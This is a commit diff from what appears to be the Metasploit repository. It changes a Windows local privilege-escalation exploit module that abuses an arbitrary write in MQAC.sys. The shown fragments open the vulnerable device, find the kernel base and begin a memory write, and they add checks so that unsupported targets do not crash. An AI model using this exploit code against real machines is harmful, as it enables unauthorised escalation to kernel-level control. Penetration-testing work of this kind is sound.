Skip to content

Commit 3ec30bd

Browse files
committed
Add some small fixes to the MQAC local exploit
* Check for `INVALID_HANDLE_VALUE` when attempting to open the device, as this is what is returned when the device doesn't exist. * Make sure that we only run the exploit against tartgets that we support directly to make sure we don't BSOD machines (such as what happens with SP1/SP2). * Add a call to `check` in the exploit code.
1 parent ddf0636 commit 3ec30bd

File tree

1 file changed

+11
-2
lines changed

1 file changed

+11
-2
lines changed

modules/exploits/windows/local/mqac_write.rb

Lines changed: 11 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,8 @@ class Metasploit3 < Msf::Exploit::Local
1212
include Msf::Post::Windows::Priv
1313
include Msf::Post::Windows::Process
1414

15+
INVALID_HANDLE_VALUE = 0xFFFFFFFF
16+
1517
def initialize(info={})
1618
super(update_info(info, {
1719
'Name' => 'MQAC.sys Arbitrary Write Privilege Escalation',
@@ -107,7 +109,7 @@ def open_device
107109

108110
def check
109111
handle = open_device
110-
if handle.nil?
112+
if handle.nil? || handle == INVALID_HANDLE_VALUE
111113
return Exploit::CheckCode::Safe
112114
end
113115
session.railgun.kernel32.CloseHandle(handle)
@@ -137,12 +139,19 @@ def exploit
137139
return
138140
end
139141

142+
# Running on Windows XP versions that aren't listed in the supported list results
143+
# in a BSOD and so we should not let that happen.
144+
if check != Exploit::CheckCode::Appears
145+
print_error("Target machine not supported (incorrect Windows version or missing MSMQ)")
146+
return
147+
end
148+
140149
kernel_info = find_sys_base(nil)
141150
base_addr = 0xffff
142151
print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")
143152

144153
handle = open_device
145-
return if handle.nil?
154+
return if handle.nil? || handle == INVALID_HANDLE_VALUE
146155

147156
this_proc = session.sys.process.open
148157
unless this_proc.memory.writable?(base_addr)

0 commit comments

Comments
 (0)